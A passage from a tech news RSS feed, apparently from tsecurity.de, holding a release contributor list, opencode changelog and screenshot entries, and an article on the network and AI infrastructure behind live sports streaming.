<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaiderSultanArc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaiderSultanArc">@HaiderSultanArc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37967 screenshots]]></title>
<description><![CDATA[Visual evidence for PR #37967.]]></description>
<link>https://tsecurity.de/de/3681871/downloads/pr-37967-screenshots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681871/downloads/pr-37967-screenshots/</guid>
<pubDate>Mon, 20 Jul 2026 19:46:38 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Visual evidence for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931392663" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37967" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37967/hovercard" href="https://github.com/anomalyco/opencode/pull/37967">#37967</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37967 final screenshots]]></title>
<description><![CDATA[Final visual evidence for PR #37967.]]></description>
<link>https://tsecurity.de/de/3681870/downloads/pr-37967-final-screenshots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681870/downloads/pr-37967-final-screenshots/</guid>
<pubDate>Mon, 20 Jul 2026 19:46:37 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Final visual evidence for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931392663" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37967" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37967/hovercard" href="https://github.com/anomalyco/opencode/pull/37967">#37967</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37967 screenshots (final)]]></title>
<description><![CDATA[Final visual evidence for PR #37967.]]></description>
<link>https://tsecurity.de/de/3681869/downloads/pr-37967-screenshots-final/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681869/downloads/pr-37967-screenshots-final/</guid>
<pubDate>Mon, 20 Jul 2026 19:46:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Final visual evidence for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931392663" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37967" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37967/hovercard" href="https://github.com/anomalyco/opencode/pull/37967">#37967</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.18.4]]></title>
<description><![CDATA[Core
Improvements

Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (@chouqin)

Bugfixes

Reduce OpenAI provider header timeouts during slow connection setup.
Respect provider-defined reasoning options instead of fallin...]]></description>
<link>https://tsecurity.de/de/3681569/downloads/v1184/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681569/downloads/v1184/</guid>
<pubDate>Mon, 20 Jul 2026 17:47:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Improvements</h3>
<ul>
<li>Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>)</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Reduce OpenAI provider header timeouts during slow connection setup.</li>
<li>Respect provider-defined reasoning options instead of falling back to the wrong reasoning controls.</li>
<li>Restore Azure Cognitive Services endpoint support for Azure-hosted models.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Sync the embedded terminal theme with the app theme.</li>
<li>Improve the review panel so open file tabs can stay aligned with the current diff view.</li>
<li>Rewrite the v2 prompt input for more reliable command, context, shell, attachment, and history interactions.</li>
<li>Improve review panel resizing and sticky controls.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Preserve command drafts in the command menu.</li>
<li>Avoid session view failures when message parent links are missing.</li>
<li>Prevent sending empty prompt text parts.</li>
<li>Restore model variant selection accessibility.</li>
<li>Show keybind tooltips on prompt input controls. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>)</li>
<li>Deduplicate repeated file entries in diff summaries.</li>
<li>Prevent recovery window handling from touching destroyed windows.</li>
</ul>
<p><strong>Thank you to 3 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerome-benoit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerome-benoit">@jerome-benoit</a>:
<ul>
<li>fix(nix): relax Bun version check for desktop build (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877704946" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/36767" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/36767/hovercard" href="https://github.com/anomalyco/opencode/pull/36767">#36767</a>)</li>
<li>fix(nix): restore desktop integration (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897416572" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37197" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37197/hovercard" href="https://github.com/anomalyco/opencode/pull/37197">#37197</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>:
<ul>
<li>fix(app): show keybind tooltips on prompt input controls (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4924806992" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37824" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37824/hovercard" href="https://github.com/anomalyco/opencode/pull/37824">#37824</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>:
<ul>
<li>feat(opencode): use adaptive thinking effort for kimi family on anthr… (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920812833" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37696" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37696/hovercard" href="https://github.com/anomalyco/opencode/pull/37696">#37696</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The technology behind every live sports moment]]></title>
<description><![CDATA[When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.



They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbin...]]></description>
<link>https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</guid>
<pubDate>Mon, 20 Jul 2026 16:48:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.</p>



<p class="wp-block-paragraph">They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.</p>



<p class="wp-block-paragraph">They just feel the moment.</p>



<p class="wp-block-paragraph">And that’s exactly how it’s supposed to work.</p>



<p class="wp-block-paragraph">And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.</p>



<p class="wp-block-paragraph"><strong>As audiences moved to digital platforms, the margin for error disappeared.</strong><strong></strong></p>



<p class="wp-block-paragraph">There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.</p>



<p class="wp-block-paragraph">Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.</p>



<p class="wp-block-paragraph">Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.</p>



<p class="wp-block-paragraph">Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.</p>



<p class="wp-block-paragraph">Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.</p>



<h3 class="wp-block-heading"><strong>What these viewership numbers actually mean for infrastructure</strong></h3>



<p class="wp-block-paragraph">The shift in how people watch live sport has moved well beyond trend territory.</p>



<p class="wp-block-paragraph">EMARKETER forecasts that digital live sports audiences in the US will grow to <a href="https://www.emarketer.com/content/100-million-watch-live-sports-digital">114.1 million viewers</a>, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.</p>



<p class="wp-block-paragraph">The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.</p>



<p class="wp-block-paragraph">During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s <a href="https://streamscharts.com/news/fifa-world-cup-2026-group-stage-livestreaming">CazéTV</a> repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and <a href="https://www.nbcuniversal.com/article/fifa-world-cup-2026-propels-telemundo-and-peacock-record-viewership">Telemundo’s</a> digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. </p>



<p class="wp-block-paragraph">When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.</p>



<p class="wp-block-paragraph">Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. </p>



<p class="wp-block-paragraph">Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.</p>



<p class="wp-block-paragraph">Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.</p>



<p class="wp-block-paragraph">To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.</p>



<p class="wp-block-paragraph">According to an <a href="https://www.haivision.com/blog/all/2025-broadcast-transformation-report-key-takeaways/">industry survey</a>, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. </p>



<p class="wp-block-paragraph">The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.</p>



<p class="wp-block-paragraph">Ultimately, the technical demand is driven by a shift in what viewers expect. An <a href="https://newsroom.ibm.com/2025-08-18-ibm-study-sports-fans-demand-more-dynamic-digital-content,-powered-by-ai">IBM sports study</a> revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.</p>



<p class="wp-block-paragraph">Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.</p>



<h3 class="wp-block-heading"><strong>The planning mistake most organisations make</strong></h3>



<p class="wp-block-paragraph">Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. </p>



<p class="wp-block-paragraph">The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic <a href="https://aws.amazon.com/blogs/apn/how-to-manage-peak-traffic-on-aws-using-queue-its-virtual-waiting-room/">2 to 25 times above normal levels within seconds</a>. The infrastructure may be different, but the pressure is remarkably similar.<br></p>



<p class="wp-block-paragraph">Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.</p>



<p class="wp-block-paragraph">The problem isn’t the individual systems. It’s how they work together.</p>



<p class="wp-block-paragraph">Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. </p>



<p class="wp-block-paragraph">A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.</p>



<p class="wp-block-paragraph">Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew <a href="https://avia.org/southeast-asia-premium-vod-accelerates-in-2025-as-subscriber-growth-rebounds-ctv-scales-and-local-content-breaks-through/?utm_source=chatgpt.com">19%</a> in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.</p>



<p class="wp-block-paragraph">The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.</p>



<p class="wp-block-paragraph">Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.</p>



<p class="wp-block-paragraph">Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.</p>



<h3 class="wp-block-heading"><strong>The hidden chain behind every live event</strong></h3>



<p class="wp-block-paragraph">When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.</p>



<p class="wp-block-paragraph">A live event depends on dozens of systems working together, and any one of them can become a problem.</p>



<p class="wp-block-paragraph">And the experience is only as good as the weakest handoff between them.</p>



<p class="wp-block-paragraph">It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.</p>



<p class="wp-block-paragraph">Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.</p>



<p class="wp-block-paragraph">Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.</p>



